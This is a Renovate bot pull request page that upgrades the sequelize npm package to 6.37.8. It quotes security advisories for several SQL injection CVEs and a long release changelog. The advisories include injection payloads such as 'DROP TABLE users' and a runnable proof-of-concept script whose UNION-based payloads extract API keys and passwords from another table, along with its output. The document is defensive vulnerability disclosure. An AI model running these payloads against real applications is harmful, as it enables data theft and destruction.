Skip to content

Update dependency sequelize to v6.37.8 [SECURITY]#74

Open
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-sequelize-vulnerability
Open

Update dependency sequelize to v6.37.8 [SECURITY]#74
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-sequelize-vulnerability

Conversation

@renovate
Copy link
Copy Markdown

@renovate renovate bot commented Mar 18, 2023

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
sequelize (source) 6.5.06.37.8 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2023-25813

Impact

The SQL injection exploit is related to replacements. Here is such an example:

In the following query, some parameters are passed through replacements, and some are passed directly through the where option.

User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

This is a very legitimate use case, but this query was vulnerable to SQL injection due to how Sequelize processed the query: Sequelize built a first query using the where option, then passed it over to sequelize.query which parsed the resulting SQL to inject all :replacements.

If the user passed values such as

{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

Sequelize would first generate this query:

SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'

Then would inject replacements in it, which resulted in this:

SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''

As you can see this resulted in arbitrary user-provided SQL being executed.

Patches

The issue was fixed in Sequelize 6.19.1

Workarounds

Do not use the replacements and the where option in the same query if you are not using Sequelize >= 6.19.1

References

See this thread for more information: https://github.com/sequelize/sequelize/issues/14519

Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-2932027

CVE-2023-22580

Due to improper input filtering in the sequelize js library, can malicious queries lead to sensitive information disclosure.

CVE-2023-22579

Impact

Providing an invalid value to the where option of a query caused Sequelize to ignore that option instead of throwing an error.

A finder call like the following did not throw an error:

User.findAll({
  where: new Date(),
});

As this option is typically used with plain javascript objects, be aware that this only happens at the top level of this option.

Patches

This issue has been patched in sequelize@6.28.1 & @sequelize/core@7.0.0.alpha-20

References

A discussion thread about this issue is open at https://github.com/sequelize/sequelize/discussions/15698

CVE: CVE-2023-22579
Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-3324090

CVE-2023-22578

Impact

Sequelize 6.28.2 and prior has a dangerous feature where using parentheses in the attribute option would make Sequelize use the string as-is in the SQL

User.findAll({
  attributes: [
    ['count(id)', 'count']
  ]
});

Produced

SELECT count(id) AS "count" FROM "users"

Patches

This feature was deprecated in Sequelize 5, and using it prints a deprecation warning.

This issue has been patched in @sequelize/core@7.0.0.alpha-20 and sequelize@6.29.0.

In Sequelize 7, it now produces the following:

SELECT "count(id)" AS "count" FROM "users"

In Sequelize 6, it throws an error explaining that we had to introduce a breaking change, and requires the user to explicitly opt-in to either the Sequelize 7 behavior (always escape) or the Sequelize 5 behavior (inline attributes that include () without escaping). See https://github.com/sequelize/sequelize/pull/15710 for more information.

Mitigations

Do not use user-provided content to build your list or attributes. If you do, make sure that attribute in question actually exists on your model by checking that it exists in the rawAttributes property of your model first.


A discussion thread about this issue is open at https://github.com/sequelize/sequelize/discussions/15694
CVE: CVE-2023-22578

CVE-2026-30951

Summary

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix — whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install sequelize@6.37.7 sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

Impact

SQL Injection (CWE-89) — Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

Release Notes

sequelize/sequelize (sequelize)

v6.37.8

Compare Source

Security improvements

v6.37.7

Compare Source

Bug Fixes
  • oracle: fix changeColumn SQL for BLOB to avoid implicit conversion (#​17719) (5b7c801)

v6.37.6

Compare Source

Meta

v6.37.5

Compare Source

Bug Fixes

v6.37.4

Compare Source

Bug Fixes

v6.37.3

Compare Source

Bug Fixes
  • postgres: use schema for foreign key constrains of a table (#​17099) (6aba382)

v6.37.2

Compare Source

Bug Fixes

v6.37.1

Compare Source

Bug Fixes

v6.37.0

Compare Source

Features

v6.36.0

Compare Source

Features

v6.35.2

Compare Source

Bug Fixes

v6.35.1

Compare Source

Bug Fixes
  • mssql: allow calling describeTable a table with a dot in its name (#​16769) (47cba67)

v6.35.0

Compare Source

Features

v6.34.0

Compare Source

Bug Fixes
Features

v6.33.0

Compare Source

Bug Fixes
Features

v6.32.1

Compare Source

Bug Fixes

v6.32.0

Compare Source

Bug Fixes
Features

v6.31.1

Compare Source

Bug Fixes
  • postgres: adds support for minifying through join aliases (#​15897) (a9fd501)

v6.31.0

Compare Source

Bug Fixes
Features

v6.30.0

Compare Source

Bug Fixes
Features
  • postgres, sqlite: add conflictWhere option to Model.bulkCreate (#​15788) (295c297)
  • postgres, sqlite: add conflictWhere option to upsert (#​15786) (1e68681)
  • postgres, sqlite: allow override of conflict keys for bulkCreate (#​15787) (2e50bd9)

v6.29.3

Compare Source

Bug Fixes

v6.29.2

Compare Source

Bug Fixes

v6.29.1

Compare Source

Bug Fixes
  • postgres: make sync not fail when trying to create existing enum (#​15718) (1b94462)

v6.29.0

Compare Source

Features

v6.28.2

Compare Source

Bug Fixes

v6.28.1

Compare Source

Bug Fixes

v6.28.0

Compare Source

Features
  • types: use retry-as-promised types for retry options to match documentation (#​15484) (fd4afa6)

v6.27.0

Compare Source

Features

v6.26.0

Compare Source

Features

v6.25.8

Compare Source

Bug Fixes

v6.25.7

Compare Source

Bug Fixes

v6.25.6

Compare Source

Bug Fixes

v6.25.5

Compare Source

Bug Fixes

v6.25.4

Compare Source

Bug Fixes

v6.25.3

Compare Source

Bug Fixes
  • don't treat \ as escape in standard strings, support E-strings, support vars after ->> operator, treat lowercase e as valid e-string prefix (#​15139) (7990095), closes #​14700

v6.25.2

Compare Source

Bug Fixes
  • types: fix TS 4.9 excessive depth error on InferAttributes (v6) (#​15135) (851daaf)

v6.25.1

Compare Source

Bug Fixes

v6.25.0

Compare Source

Features

v6.24.0

Compare Source

Features
  • snowflake: Add support for QueryGenerator#tableExistsQuery (#​15087) (a44772e)

v6.23.2

Compare Source

Bug Fixes
  • postgres: add custom order direction to subQuery ordering with minified alias (#​15056) (7203b66)

v6.23.1

Compare Source

Bug Fixes

v6.23.0

Compare Source

Features

v6.22.1

Compare Source

Bug Fixes

v6.22.0

Compare Source

Features

v6.21.6

Compare Source

Bug Fixes

v6.21.5

Compare Source

Bug Fixes

v6.21.4

Compare Source

Bug Fixes

v6.21.3

Compare Source

Bug Fixes
  • postgres: attach postgres error-handler earlier in lifecycle (v6) (#​14731) (90bb694)

v6.21.2

Compare Source

Bug Fixes

v6.21.1

Compare Source

Bug Fixes

v6.21.0

Compare Source

Features
  • exports types to support typescript >= 4.5 nodenext module (#​14620) (cbdf73e)

v6.20.1

Compare Source

Bug Fixes

v6.20.0

Compare Source

Features

v6.19.2

Compare Source

Bug Fixes

v6.19.1

Compare Source

Bug Fixes

⚠️ BREAKING CHANGE: This change is a security fix that patches a serious SQL injection vulnerability, however it is possible that your application made use of it and broke as a result of this change. Please see this issue for more information.

v6.19.0

Compare Source

Bug Fixes
Features
  • types: make Model.init aware of pre-configured foreign keys (#​14370) (5954d2c)

v6.18.0

Compare Source

Features
  • add whereScopeStrategy to merge where scopes with Op.and (#​14152) (8349c02)

v6.17.0

Compare Source

Bug Fixes
Features

v6.16.3

Compare Source

Bug Fixes

v6.16.2

Compare Source

Bug Fixes

v6.16.1

Compare Source

Bug Fixes

v6.16.0

Compare Source

Features

v6.15.1

Compare Source

Bug Fixes

v6.15.0

Compare Source

Bug Fixes
Features

v6.14.1

Compare Source

Bug Fixes

v6.14.0

Compare Source

Bug Fixes
Features

v6.13.0

Compare Source

Bug Fixes
Features

v6.12.5

Compare Source

Bug Fixes

v6.12.4

Compare Source

Bug Fixes
  • mssql/async-queue: fix unable to start mysql due to circular ref (#​13823) (49e8614)

v6.12.3

Compare Source

Bug Fixes

v6.12.2

Compare Source

Bug Fixes

v6.12.1

Compare Source

Bug Fixes

v6.12.0

Compare Source

Bug Fixes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title Update dependency sequelize to 6.29.0 [SECURITY] Update dependency sequelize to v6.29.0 [SECURITY] Mar 24, 2023
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from ff6ceff to 0cfb26d Compare January 30, 2025 18:42
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 0cfb26d to b96725d Compare February 9, 2025 17:49
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from b96725d to bf0f015 Compare March 3, 2025 11:44
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from bf0f015 to 694581a Compare March 11, 2025 11:54
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 694581a to 507bef2 Compare April 1, 2025 11:28
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 507bef2 to ec4982a Compare April 8, 2025 11:29
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from ec4982a to ff3032f Compare April 24, 2025 05:45
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from ff3032f to 37fd650 Compare May 19, 2025 20:07
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 37fd650 to 1941d40 Compare May 28, 2025 07:05
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 1941d40 to 337b0bc Compare June 4, 2025 11:13
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 337b0bc to edd4c17 Compare June 22, 2025 12:39
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from edd4c17 to 6be8314 Compare July 2, 2025 19:07
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 6be8314 to 4b24d15 Compare August 10, 2025 14:33
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 4b24d15 to 3741b65 Compare August 19, 2025 19:06
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 3741b65 to 4c0cfbe Compare September 25, 2025 20:00
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 4c0cfbe to 95ac3b8 Compare October 21, 2025 10:14
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 95ac3b8 to f9f3bce Compare November 10, 2025 16:46
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from f9f3bce to d940b5c Compare November 19, 2025 00:00
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from d940b5c to f9fe9fd Compare December 31, 2025 13:38
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 52995a4 to ae9a456 Compare January 23, 2026 20:28
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from ae9a456 to 9fe83e0 Compare February 2, 2026 21:28
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from b150457 to 84672d8 Compare February 19, 2026 07:15
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 379b412 to 6b392eb Compare March 11, 2026 04:46
@renovate renovate bot changed the title Update dependency sequelize to v6.29.0 [SECURITY] Update dependency sequelize to v6.37.8 [SECURITY] Mar 11, 2026
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 6b392eb to 4ede947 Compare March 14, 2026 11:00
@renovate renovate bot changed the title Update dependency sequelize to v6.37.8 [SECURITY] Update dependency sequelize to v6.37.8 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-sequelize-vulnerability branch March 27, 2026 02:18
@renovate renovate bot changed the title Update dependency sequelize to v6.37.8 [SECURITY] - autoclosed Update dependency sequelize to v6.37.8 [SECURITY] Mar 30, 2026
@renovate renovate bot reopened this Mar 30, 2026
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch 2 times, most recently from 4ede947 to 480fa65 Compare March 30, 2026 17:39
@renovate renovate bot force-pushed the renovate/npm-sequelize-vulnerability branch from 480fa65 to 0531430 Compare April 8, 2026 14:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

0 participants